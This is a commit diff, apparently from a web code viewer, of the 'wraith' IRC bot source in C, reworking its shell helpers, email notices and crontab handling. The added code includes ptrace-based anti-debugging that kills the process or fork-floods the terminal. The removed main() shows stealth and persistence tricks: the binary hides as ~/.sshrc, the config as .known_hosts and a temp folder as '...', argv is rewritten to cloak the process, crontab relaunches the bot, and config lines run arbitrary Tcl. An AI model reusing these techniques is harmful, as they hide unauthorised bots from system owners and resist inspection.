   }
@@ -727,9 +662,9 @@ void werr(int errnum)
 int email(char *subject, char *msg, int who)
 {
   struct utsname un;
-  char open[2048], addrs[1024];
+  char open[2048] = "", addrs[1024] = "";
   int mail = 0, sendmail = 0;
-  FILE *f;
+  FILE *f = NULL;
 
   uname(&un);
   if (is_file("/usr/sbin/sendmail"))
@@ -755,14 +690,12 @@ int email(char *subject, char *msg, int who)
   if (sendmail)
     sprintf(open, "/usr/sbin/sendmail -t");
   else if (mail)
-    sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, (origbotname && origbotname[0]) ? origbotname : "none", un.nodename, subject);
+    sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
 
   if ((f = popen(open, "w"))) {
     if (sendmail) {
-      struct passwd *pw;
-      pw = getpwuid(geteuid());
       fprintf(f, "To: %s\n", addrs);
-      fprintf(f, "From: %s@%s\n", (origbotname && origbotname[0]) ? origbotname : pw->pw_name, un.nodename);
+      fprintf(f, "From: %s@%s\n", conf.bot->nick ? conf.bot->nick : conf.username, un.nodename);
       fprintf(f, "Subject: %s\n", subject);
       fprintf(f, "Content-Type: text/plain\n");
     }
@@ -776,7 +709,7 @@ int email(char *subject, char *msg, int who)
   return 0;
 }
 
-void baduname(char *conf, char *my_uname) {
+void baduname(char *confhas, char *my_uname) {
   char *tmpfile = malloc(strlen(tempdir) + 3 + 1);
   int send = 0;
 
@@ -791,7 +724,7 @@ void baduname(char *conf, char *my_uname) {
     diff = now - ss.st_mtime;
     if (diff >= 86400) send++;          /* only send once a day */
   } else {
-    FILE *fp;
+    FILE *fp = NULL;
     if ((fp = fopen(tmpfile, "w"))) {
       fprintf(fp, "\n");
       fflush(fp);
@@ -800,15 +733,12 @@ void baduname(char *conf, char *my_uname) {
     }
   }
   if (send) {
-    struct passwd *pw;
     struct utsname un;
-    char msg[501], subject[31];
+    char msg[501] = "", subject[31] = "";
 
-    pw = getpwuid(geteuid());
-    if (!pw) return;
     uname(&un);
     egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
-    egg_snprintf(msg, sizeof msg, "This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n", pw->pw_name, conf, my_uname, un.nodename);
+    egg_snprintf(msg, sizeof msg, "This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n", conf.username, confhas, my_uname, un.nodename);
     email(subject, msg, EMAIL_OWNERS);
   }
   free(tmpfile);
@@ -818,18 +748,17 @@ char *homedir()
 {
   static char homedir[DIRMAX] = "";
   if (!homedir || (homedir && !homedir[0])) {
-    char tmp[DIRMAX];
-    struct passwd *pw;
-    sdprintf(STR("If the bot dies after this, try compiling on Debian."));
-    Context;
-    pw = getpwuid(geteuid());
-    sdprintf(STR("End Debian suggestion."));
-
-    if (!pw)
-     werr(ERR_PASSWD);
-    Context;
-    egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
-    Context;
+    char tmp[DIRMAX] = "";
+    if (conf.homedir)
+      egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
+    else {
+      struct passwd *pw;
+ 
+      ContextNote("Calling getpwuid");
+      pw = getpwuid(myuid);
+      egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
+    }
+    ContextNote("Calling realpath");
     realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
   }
   return homedir;
@@ -860,7 +789,7 @@ char *my_uname()
 {
   static char os_uname[250] = "";
   if (!os_uname || (os_uname && !os_uname[0])) {
-    char *unix_n, *vers_n;
+    char *unix_n = NULL, *vers_n = NULL;
     struct utsname un;
 
     if (uname(&un) < 0) {
@@ -879,15 +808,30 @@ char *my_uname()
   return os_uname;
 }
 
+void check_crontab()
+{
+  int i = 0;
+
+#ifdef LEAF
+  if (!conf.bot->localhub)
+    fatal(STR("something is wrong."), 0);
+#endif /* LEAF */
+  if (!(i = crontab_exists())) {
+    crontab_create(5);
+    if (!(i = crontab_exists()))
+      printf(STR("* Error writing crontab entry.\n"));
+  }
+}
 
 void crontab_del() {
-  char *tmpfile, *p, buf[2048];
+  char *tmpfile = NULL, *p = NULL, buf[2048] = "";
+
   tmpfile = malloc(strlen(binname) + 100);
   strcpy(tmpfile, binname);
   if (!(p = strrchr(tmpfile, '/')))
     return;
   p++;
-  strcpy(p, STR(".ctb"));
+  strcpy(p, ".ctb");
   sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
   if (shell_exec(buf, NULL, NULL, NULL)) {
     sprintf(buf, STR("crontab %s"), tmpfile);
@@ -898,9 +842,9 @@ void crontab_del() {
 
 int crontab_exists() {
   char buf[2048] = "", *out = NULL;
+
   egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
   if (shell_exec(buf, NULL, &out, NULL)) {
-
     if (out && strstr(out, binname)) {
       free(out);
       return 1;
@@ -915,7 +859,7 @@ int crontab_exists() {
 
 void crontab_create(int interval) {
   char tmpfile[161] = "", buf[256] = "";
-  FILE *f;
+  FILE *f = NULL;
   int fd;
 
   /* always use mkstemp() when handling temp files! -dizz */
@@ -951,544 +895,180 @@ void crontab_create(int interval) {
   }
   close(fd);
   unlink(tmpfile);
-
 }
-#ifdef HEH
-int main(int argc, char **argv)
-{
-  egg_timeval_t howlong;
-  int xx, i;
-#ifdef LEAF
-  int x = 1;
-#endif
-  char buf[SGRAB + 9] = "", s[25] = "";
-  FILE *f;
-#ifdef LEAF
-  int skip = 0;
-  int ok = 1;
-#endif
-  init_debug();
-
-  /* Version info! */
-  egg_snprintf(ver, sizeof ver, "Wraith %s", egg_version);
-  egg_snprintf(version, sizeof version, "Wraith %s (%u/%lu)", egg_version, egg_numver, buildts);
-#ifdef STOP_UAC
-  {
-    int nvpair[2];
-
-    nvpair[0] = SSIN_UACPROC;
-    nvpair[1] = UAC_NOPRINT;
-    setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
-  }
-#endif
-
-  init_signals();
-
-  Context;
-  /* Initialize variables and stuff */
-  now = time(NULL);
-  chanset = NULL;
-#ifdef S_UTCTIME
-  egg_memcpy(&nowtm, gmtime(&now), sizeof(struct tm));
-#else /* !S_UTCTIME */
-  egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
-#endif /* S_UTCTIME */
-  lastmin = nowtm.tm_min;
-  srandom(now % (getpid() + getppid()));
-  myuid = geteuid();
-  binname = getfullbinname(argv[0]);
-
-  /* just load everything now, won't matter if it's loaded if the bot has to suicide on startup */
-  init_settings();
-  binds_init();
-  core_binds_init();
-  init_dcc_max();
-  init_userent();
-  init_bots();
-  init_net();
-  init_modules();
-  init_tcl(argc, argv);
-  init_auth();
-  init_config();
-  init_botcmd();
-  link_statics();
-
-  if (!can_stat(binname))
-   werr(ERR_BINSTAT);
-  if (!fixmod(binname))
-   werr(ERR_BINMOD);
-
-  if (argc) {
-    sdprintf(STR("Calling dtx_arg with %d params."), argc);
-    dtx_arg(argc, argv);
-  }
-  if (checktrace)
-    check_trace_start();
-
-#ifdef HUB
-  egg_snprintf(tempdir, sizeof tempdir, "%s/tmp/", confdir());
-#endif /* HUB */
 
-#ifdef LEAF
-{
-  char newbin[DIRMAX];
-  sdprintf(STR("my uid: %d my uuid: %d, my ppid: %d my pid: %d"), getuid(), geteuid(), getppid(), getpid());
-  chdir(homedir());
-  egg_snprintf(newbin, sizeof newbin, STR("%s/.sshrc"), homedir());
-  egg_snprintf(tempdir, sizeof tempdir, "%s/.../", confdir());
-
-  sdprintf(STR("newbin at: %s"), newbin);
-
-  if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
-    sdprintf(STR("wrong dir, is: %s :: %s"), binname, newbin);
-    unlink(newbin);
-    if (copyfile(binname,newbin))
-     ok = 0;
-
-    if (ok) 
-     if (!can_stat(newbin)) {
-       unlink(newbin);
-       ok = 0;
-     }
-    if (ok) 
-      if (!fixmod(newbin)) {
-        unlink(newbin);
-        ok = 0;
-      }
+#ifdef S_MESSUPTERM
+static void messup_term() {
+  int i;
+  char *argv[4];
 
-    if (!ok)
-      werr(ERR_WRONGBINDIR);
-    else {
-      unlink(binname);
-      system(newbin);
-      sdprintf(STR("exiting to let new binary run..."));
-      exit(0);
-    }
+  freopen("/dev/null", "w", stderr);
+  for (i = 0; i < 11; i++) {
+    fork();
   }
-
-  /* Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config... */
-
+  argv[0] = malloc(100);
+  strcpy(argv[0], "/bin/sh");
+  argv[1] = "-c";
+  argv[2] = malloc(1024);
+  strcpy(argv[2], "cat < ");
+  strcat(argv[2], binname);
+  argv[3] = NULL;
+  execvp(argv[0], &argv[0]);
 }
-#endif /* LEAF */
-  {
-    char tmp[DIRMAX];
+#endif /* S_MESSUPTERM */
 
-    egg_snprintf(tmp, sizeof tmp, "%s/", confdir());
-    if (!can_stat(tmp)) {
-#ifdef LEAF
-      if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
-        unlink(confdir());
-        if (!can_stat(confdir()))
-          if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
-#endif /* LEAF */
-            werr(ERR_CONFSTAT);
-#ifdef LEAF
-      }
-#endif /* LEAF */
-    }
 
-    egg_snprintf(tmp, sizeof tmp, "%s", tempdir);
-    if (!can_stat(tmp)) {
-      if (mkdir(tmp,  S_IRUSR | S_IWUSR | S_IXUSR)) {
-        unlink(tempdir);
-        if (!can_stat(tempdir))
-          if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
-            werr(ERR_TMPSTAT);
-      }
+void check_trace_start()
+{
+#ifdef S_ANTITRACE
+  int parent = getpid();
+  int xx = 0, i = 0;
+#ifdef __linux__
+  xx = fork();
+  if (xx == -1) {
+    printf(STR("Can't fork process!\n"));
+    exit(1);
+  } else if (xx == 0) {
+    i = ptrace(PTRACE_ATTACH, parent, 0, 0);
+    if (i == (-1) && errno == EPERM) {
+#ifdef S_MESSUPTERM
+      messup_term();
+#else
+      kill(parent, SIGKILL);
+      exit(1);
+#endif /* S_MESSUPTERM */
+    } else {
+      waitpid(parent, &i, 0);
+      kill(parent, SIGCHLD);
+      ptrace(PTRACE_DETACH, parent, 0, 0);
+      kill(parent, SIGCHLD);
     }
+    exit(0);
+  } else {
+    wait(&i);
   }
-  if (!fixmod(confdir()))
-    werr(ERR_CONFDIRMOD);
-  if (!fixmod(tempdir))
-    werr(ERR_TMPMOD);
-
-  /* The config dir is accessable with correct permissions, lets read/write/create config file now.. */
-  {		/* config shit */
-    char cfile[DIRMAX] = "", templine[8192] = "";
-#ifdef LEAF
-    egg_snprintf(cfile, sizeof cfile, STR("%s/.known_hosts"), confdir());
-#else /* HUB */
-    egg_snprintf(cfile, sizeof cfile, STR("%s/conf"), confdir());
-#endif /* LEAF */
-    if (!can_stat(cfile))
-      werr(ERR_NOCONF);
-    if (!fixmod(cfile))
-      werr(ERR_CONFMOD);
-#ifdef LEAF
-    if (localhub) { 
-#endif /* LEAF */
-      i = 0;
-      if (!(f = fopen(cfile, "r")))
-         werr(0);
-      Context;
-      while(fscanf(f, "%[^\n]\n", templine) != EOF) {
-        char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps, c[1024];
-        void *temp_ptr;
-        int skip = 0;
-
-        temps = temp_ptr = decrypt_string(SALT1, templine);
-        if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
-          sdprintf(STR("line %d, char %c "), i, temps[0]);
-          werr(ERR_CONFBADENC);
-        }
-        egg_snprintf(c, sizeof c, "%s", temps);
-
-        if (c[0] == '*') {
-          skip = 1;
-        } else if (c[0] == '-' && !skip) { /* uid */
-          newsplit(&temps);
-          if (geteuid() != atoi(temps)) {
-            sdprintf(STR("wrong uid, conf: %d :: %d"), atoi(temps), geteuid());
-            werr(ERR_WRONGUID);
-          }
-        } else if (c[0] == '+' && !skip) { /* uname */
-          int r = 0;
-          newsplit(&temps);
-          if ((r = strcmp(temps, my_uname()))) {
-            baduname(temps, my_uname());
-            sdprintf(STR("wrong uname, conf: %s :: %s"), temps, my_uname());
-            werr(ERR_WRONGUNAME);
-          }
-        } else if (c[0] == '!') { //local tcl exploit
-          if (c[1] == '-') { //dont use pscloak
-#ifdef S_PSCLOAK
-            sdprintf(STR("NOT CLOAKING"));
-#endif /* S_PSCLOAK */
-            pscloak = 0;
-          } else {
-            newsplit(&temps);
-            Tcl_Eval(interp, temps);
-          }
-        } else if (c[0] != '#') {  //now to parse nick/hosts
-          /* we have the right uname/uid, safe to setup crontab now. */
-          i++;
-          nick = newsplit(&temps);
-          if (!nick || !nick[0])
-            werr(ERR_BADCONF);
-          sdprintf(STR("Read nick from config: %s"), nick);
-          if (temps[0])
-            ip = newsplit(&temps);
-          if (temps[0])
-            host = newsplit(&temps);
-          if (temps[0])
-            ipsix = newsplit(&temps);
-
-          if (i == 1) { //this is the first bot ran/parsed
-            strncpyz(s, ctime(&now), sizeof s);
-            strcpy(&s[11], &s[20]);
-
-            if (ip && ip[0] == '!') { //natip
-              ip++;
-              sprintf(natip, "%s",ip);
-            } else {
-              if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
-                egg_snprintf(myip, 120, "%s", ip);
-            }
-            egg_snprintf(origbotname, 10, "%s", nick);
-#ifdef HUB
-            sprintf(userfile, "%s/.u", confdir());
-#endif /* HUB */
-/* log          sprintf(logfile, "%s/.%s.log", confdir(), nick); */
-            if (host && host[1]) { //only copy host if it is longer than 1 char (.)
-              if (host[0] == '+') { //ip6 host
-              host++;
-              sprintf(hostname6, "%s",host);
-            } else  //normal ip4 host
-              sprintf(hostname, "%s",host);
-            }
-            if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
-              egg_snprintf(myip6, 120, "%s",ipsix);
-            }
-          } //First bot in conf
-#ifdef LEAF
-          else { //these are the rest of the bots..
-            char buf2[DIRMAX] = "";
-            FILE *fp;
-
-            xx = 0, x = 0, errno = 0;
-            s[0] = '\0';
-            /* first let's determine if the bot is already running or not.. */
-            egg_snprintf(buf2, sizeof buf2, "%s.pid.%s", tempdir, nick);
-            fp = fopen(buf2, "r");
-            if (fp != NULL) {
-              fgets(s, 10, fp);
-              fclose(fp);
-              xx = atoi(s);
-              if (updating) {
-                x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
-                unlink(buf2);
-              }
-              kill(xx, SIGCHLD);
-              if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
-                if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
-                  printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
-              } else if (!x)
-                sdprintf(STR("%s is already running, pid: %d"), nick, xx);
-            } else {
-              if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
-                printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
-            }
-          }
-#endif /* LEAF */
-        } 
-        free(temp_ptr);
-      } /* while(fscan) */
-      fclose(f);
-#ifdef LEAF
-      if (updating)
-        exit(0); /* let cron restart us. */
-    } /* localhub */
-#endif /* LEAF */
-  }
-  dns_init();
-  module_load("channels");
-#ifdef LEAF
-  module_load("server");
-  module_load("irc");
-#endif /* LEAF */
-  module_load("transfer");
-  module_load("share");
-  update_init();
-  notes_init();
-  console_init();
-  ctcp_init();
-  module_load("compress");
-
-  chanprog();
-
-  clear_tmp();
-#ifdef LEAF
-  if (localhub) {
-    sdprintf(STR("I am localhub (%s)"), origbotname);
-#endif /* LEAF */
-    check_crontab();
-#ifdef LEAF
-  }
-#endif /* LEAF */
-
-
-  cache_miss = 0;
-  cache_hit = 0;
-  if (!pid_file[0])
-    egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
-
-  if ((localhub && !updating) || !localhub) {
-    if ((f = fopen(pid_file, "r")) != NULL) {
-      fgets(s, 10, f);
-      xx = atoi(s);
-      kill(xx, SIGCHLD);
-      if (errno != ESRCH) { //!= is PID is running.
-        sdprintf(STR("%s is already running, pid: %d"), botnetnick, xx);
-        exit(1);
-      }
-      fclose(f);
+#endif /* __linux__ */
+#ifdef __FreeBSD__
+  xx = fork();
+  if (xx == -1) {
+    printf(STR("Can't fork process!\n"));
+    exit(1);
+  } else if (xx == 0) {
+    i = ptrace(PT_ATTACH, parent, 0, 0);
+    if (i == (-1) && errno == EBUSY) {
+#ifdef S_MESSUPTERM
+      messup_term();
+#else
+      kill(parent, SIGKILL);
+      exit(1);
+#endif /* S_MESSUPTERM */
+    } else {
+       wait(&i);
+      i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
+      kill(parent, SIGCHLD);
+      wait(&i);
+      i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
+      wait(&i);
     }
+    exit(0);
+  } else {
+    waitpid(xx, NULL, 0);
   }
-
-#ifdef LEAF
-#ifdef S_PSCLOAK
-  if (pscloak) {
-    int on = 0;
-    char *p = progname();
-
-    egg_memset(argv[0], 0, strlen(argv[0]));
-    strncpyz(argv[0], p, strlen(p) + 1);
-    for (on = 1; on < argc; on++) egg_memset(argv[on], 0, strlen(argv[on]));
-  }
-#endif /* PSCLOAK */
-#endif /* LEAF */
-
-  putlog(LOG_MISC, "*", STR("=== %s: %d users."), botnetnick, count_users(userlist));
-  /* Move into background? */
-
-  if (backgrd) {
-#ifndef CYGWIN_HACKS
-    bg_do_split();
-  } else {			/* !backgrd */
-#endif /* CYGWIN_HACKS */
-    xx = getpid();
-    if (xx != 0) {
-      /* Write pid to file */
-      unlink(pid_file);
-      if ((f = fopen(pid_file, "w")) != NULL) {
-        fprintf(f, "%u\n", xx);
-        if (fflush(f)) {
-	  /* Let the bot live since this doesn't appear to be a botchk */
-	  printf(EGG_NOWRITE, pid_file);
-	  unlink(pid_file);
-	  fclose(f);
-        } else {
-          fclose(f);
-        }
-      } else
-        printf(EGG_NOWRITE, pid_file);
-#ifdef CYGWIN_HACKS
-      printf(STR("Launched into the background  (pid: %d)\n\n"), xx);
-#endif /* CYGWIN_HACKS */
+#endif /* __FreeBSD__ */
+#ifdef __OpenBSD__
+  xx = fork();
+  if (xx == -1) {
+    printf(STR("Can't fork process!\n"));
+    exit(1);
+  } else if (xx == 0) {
+    i = ptrace(PT_ATTACH, parent, 0, 0);
+    if (i == (-1) && errno == EBUSY) {
+      kill(parent, SIGKILL);
+      exit(1);
+    } else {
+      wait(&i);
+      i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
+      kill(parent, SIGCHLD);
+      wait(&i);
+      i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
+      wait(&i);
     }
+    exit(0);
+  } else {
+    waitpid(xx, NULL, 0);
   }
+#endif /* __OpenBSD__ */
+#endif /* S_ANTITRACE */
+}
 
-  use_stderr = 0;		/* Stop writing to stderr now */
-  if (backgrd) {
-    /* Ok, try to disassociate from controlling terminal (finger cross) */
-#if HAVE_SETPGID && !defined(CYGWIN_HACKS)
-    setpgid(0, 0);
-#endif
-    /* Tcl wants the stdin, stdout and stderr file handles kept open. */
-    freopen("/dev/null", "r", stdin);
-    freopen("/dev/null", "w", stdout);
-    freopen("/dev/null", "w", stderr);
-#ifdef CYGWIN_HACKS
-    FreeConsole();
-#endif /* CYGWIN_HACKS */
-  }
-
-  /* Terminal emulating dcc chat */
-  if (!backgrd && term_z) {
-    int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
-
-    dcc[n].addr = iptolong(getmyip());
-    dcc[n].sock = STDOUT;
-    dcc[n].timeval = now;
-    dcc[n].u.chat->con_flags = conmask;
-    dcc[n].u.chat->strip_flags = STRIP_ALL;
-    dcc[n].status = STAT_ECHO;
-    strcpy(dcc[n].nick, "HQ");
-    strcpy(dcc[n].host, "llama@console");
-    dcc[n].user = get_user_by_handle(userlist, "HQ");
-    /* Make sure there's an innocuous HQ user if needed */
-    if (!dcc[n].user) {
-      userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
-      dcc[n].user = get_user_by_handle(userlist, "HQ");
+#ifdef CRAZY_TRACE
+/* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
+ * only problem.. it just creates a new pid to be traced/hijacked :\
+ */
+int attached = 0;
+void crazy_trace()
+{
+  int parent = getpid();
+  int x = fork();
+  if (x == -1) {
+    printf("Can't fork(): %s\n", strerror(errno));
+  } else if (x == 0) {
+    int i;
+    i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
+    if (i == (-1) && errno == EPERM) {
+      printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
+      waitpid(parent, &i, 0);
+      kill(parent, SIGCHLD);
+      ptrace(PTRACE_DETACH, parent, 0, 0);
+      kill(parent, SIGCHLD);
+      exit(0);
+    } else {
+      printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
+      attached++;
     }
-    setsock(STDOUT, 0);          /* Entry in net table */
-    dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
-    dcc_chatter(n);
+  } else {
+    printf("wait()\n");
+    wait(&x);
   }
+  printf("end\n");
+}
+#endif /* CRAZY_TRACE */
 
-  then = now;
-  online_since = now;
-  autolink_cycle(NULL);		/* Hurry and connect to tandem bots */
-  howlong.sec = 1;
-  howlong.usec = 0;
-  timer_create_repeater(&howlong, (Function) core_secondly);
-  add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
-  add_hook(HOOK_30SECONDLY, (Function) expire_simuls);
-  add_hook(HOOK_MINUTELY, (Function) core_minutely);
-  add_hook(HOOK_HOURLY, (Function) core_hourly);
-  add_hook(HOOK_HALFHOURLY, (Function) core_halfhourly);
-  add_hook(HOOK_REHASH, (Function) event_rehash);
-  add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
-  add_hook(HOOK_USERFILE, (Function) event_save);
-  add_hook(HOOK_DAILY, (Function) event_resettraffic);
-
-  debug0(STR("main: entering loop"));
-  while (1) {
-    int socket_cleanup = 0;
-
-    /* Process a single tcl event */
-    Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
-
-    /* Lets move some of this here, reducing the numer of actual
-     * calls to periodic_timers
-     */
-    now = time(NULL);
-    timer_run();
-    if (now != then) {		/* Once a second */
-/*      call_hook(HOOK_SECONDLY); */
-      then = now;
-    }
-
-    /* Only do this every so often. */
-    if (!socket_cleanup) {
-      socket_cleanup = 5;
 
-      /* Remove dead dcc entries. */
-      dcc_remove_lost();
+/* need to account for this after reading in conf/spawning bots. 
+ifdef LEAF
+      if (updating)
+        exit(0);  let cron restart us. 
+    }  localhub 
+endif LEAF 
+*/
 
-      /* Check for server or dcc activity. */
-      dequeue_sockets();		
-    } else
-      socket_cleanup--;
 
-    buf[0] = 0;
-    xx = sockgets(buf, &i); 
-    /* "chanprog()" bug is down here somewhere.... */
-    if (xx >= 0) {		/* Non-error */
-      int idx;
-
-      for (idx = 0; idx < dcc_total; idx++)
-	if (dcc[idx].sock == xx) {
-	  if (dcc[idx].type && dcc[idx].type->activity) {
-	    /* Traffic stats */
-	    if (dcc[idx].type->name) {
-	      if (!strncmp(dcc[idx].type->name, "BOT", 3))
-		traffic.in_today.bn += strlen(buf) + 1;
-	      else if (!strcmp(dcc[idx].type->name, "SERVER"))
-		traffic.in_today.irc += strlen(buf) + 1;
-	      else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
-		traffic.in_today.dcc += strlen(buf) + 1;
-	      else if (!strncmp(dcc[idx].type->name, "FILES", 5))
-		traffic.in_today.dcc += strlen(buf) + 1;
-	      else if (!strcmp(dcc[idx].type->name, "SEND"))
-		traffic.in_today.trans += strlen(buf) + 1;
-	      else if (!strncmp(dcc[idx].type->name, "GET", 3))
-		traffic.in_today.trans += strlen(buf) + 1;
-	      else
-		traffic.in_today.unknown += strlen(buf) + 1;
-	    }
-	    dcc[idx].type->activity(idx, buf, i);
-	  } else
-	    putlog(LOG_MISC, "*",
-		   "!!! untrapped dcc activity: type %s, sock %d",
-		   dcc[idx].type->name, dcc[idx].sock);
-	  break;
-	}
-    } else if (xx == -1) {	/* EOF from someone */
-      int idx;
-
-      if (i == STDOUT && !backgrd)
-	fatal(STR("END OF FILE ON TERMINAL"), 0);
-      for (idx = 0; idx < dcc_total; idx++)
-	if (dcc[idx].sock == i) {
-	  if (dcc[idx].type && dcc[idx].type->eof)
-	    dcc[idx].type->eof(idx);
-	  else {
-	    putlog(LOG_MISC, "*",
-		   "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
-		   i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
-	    killsock(i);
-	    lostdcc(idx);
-	  }
-	  idx = dcc_total + 1;
-	}
-      if (idx == dcc_total) {
-	putlog(LOG_MISC, "*",
-	       "(@) EOF socket %d, not a dcc socket, not anything.", i);
-	close(i);
-	killsock(i);
-      }
-    } else if (xx == -2 && errno != EINTR) {	/* select() error */
-      putlog(LOG_MISC, "*", STR("* Socket error #%d; recovering."), errno);
-      for (i = 0; i < dcc_total; i++) {
-	if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
-	  putlog(LOG_MISC, "*",
-		 "DCC socket %d (type %d, name '%s') expired -- pfft",
-		 dcc[i].sock, dcc[i].type, dcc[i].nick);
-	  killsock(dcc[i].sock);
-	  lostdcc(i);
-	  i--;
-	}
-      }
-    } else if (xx == -3) {
-      call_hook(HOOK_IDLE);
-      socket_cleanup = 0;	/* If we've been idle, cleanup & flush */
-    }
+#ifdef NOTHANKS
+        /* this is the first bot ran/parsed */
+        if (i == 1) { 
+          if (ip && ip[0] == '!') { //natip
+            ip++;
+            sprintf(natip, "%s",ip);
+          } else {
+            if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
+              egg_snprintf(myip, 120, "%s", ip);
+          }
+          egg_snprintf(origbotname, 10, "%s", nick);
+#ifdef HUB
+          sprintf(userfile, "%s/.u", confdir());
+#endif /* HUB */
+/* log          sprintf(logfile, "%s/.%s.log", confdir(), nick); */
+          if (host && host[1]) { //only copy host if it is longer than 1 char (.)
+            if (host[0] == '+') { //ip6 host
+            host++;
+            sprintf(hostname6, "%s",host);
+          } else  //normal ip4 host
+            sprintf(hostname, "%s",host);
+          }
+          if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
+            egg_snprintf(myip6, 120, "%s",ipsix);
+          }
+        } //First bot in conf
+#endif /* NOTHANKS */
 
-    if (do_restart) {
-      rehash();
-      do_restart = 0;
-    }
-  }
-}
-#endif

+ 5 - 29
src/shell.h

@@ -1,30 +1,6 @@
 #ifndef _SHELL_H
 #define _SHELL_H
 
-typedef struct conf_bot_b {
-  char *nick;
-  char *host;
-  char *host6;
-  char *ip;
-  char *ip6;
-  int pid;              /* contains the PID for the bot (read for the pidfile) */
-  int localhub;         /* bot is localhub */
-  struct conf_bot_b *next;
-} conf_bot;
-
-typedef struct conf_b {
-  uid_t uid;
-  char *uname;
-  int pscloak;          /* should the bots bother trying to cloak `ps`? */
-#ifdef HUB
-  int portrange;        /* for hubs, the reserved port range for incoming connections */
-#endif /* HUB */
-  char *binpath;        /* path to binary, ie: ~/ */
-  char *binname;        /* binary name, ie: .sshrc */
-  conf_bot *bots;       /* the list of bots */
-} conf_t;
-
-
 #define ERR_BINSTAT     1
 #define ERR_BINMOD      2
 #define ERR_PASSWD      3
@@ -39,12 +15,12 @@ typedef struct conf_b {
 #define ERR_WRONGUID    12
 #define ERR_WRONGUNAME  13
 #define ERR_BADCONF     14
-#define ERR_MAX         15
+#define ERR_BADBOT	15
+#define ERR_MAX         16
 
 #define EMAIL_OWNERS    0x1
 #define EMAIL_TEAM      0x2
 
-
 #define DETECT_LOGIN 1
 #define DETECT_TRACE 2
 #define DETECT_PROMISC 3
@@ -59,10 +35,8 @@ typedef struct conf_b {
 
 
 #ifndef MAKING_MODS
+void check_mypid();
 int clear_tmp();
-void init_conf();
-void free_conf();
-int readconf();
 char *homedir();
 char *my_uname();
 char *confdir();
@@ -76,9 +50,11 @@ void check_processes();
 void detected(int, char *);
 void werr(int);
 char *werr_tostr(int);
+void check_crontab();
 void crontab_del();
 int crontab_exists();
 void crontab_create(int);
+void check_trace_start();
 #endif /* !MAKING_MODS */
 
 

+ 1 - 1
src/tcl.c

@@ -45,7 +45,7 @@ extern char	origbotname[], botuser[], motdfile[], admin[], userfile[],
                 firewall[], notify_new[], hostname[], hostname6[], myip[], myip6[],
 		tempdir[], owner[], network[], botnetnick[],
 		egg_version[], natip[], 
-		pid_file[], dcc_prefix[];
+		dcc_prefix[];
 
 extern struct dcc_t	*dcc;
 

Деякі файли не було показано, через те що забагато файлів було змінено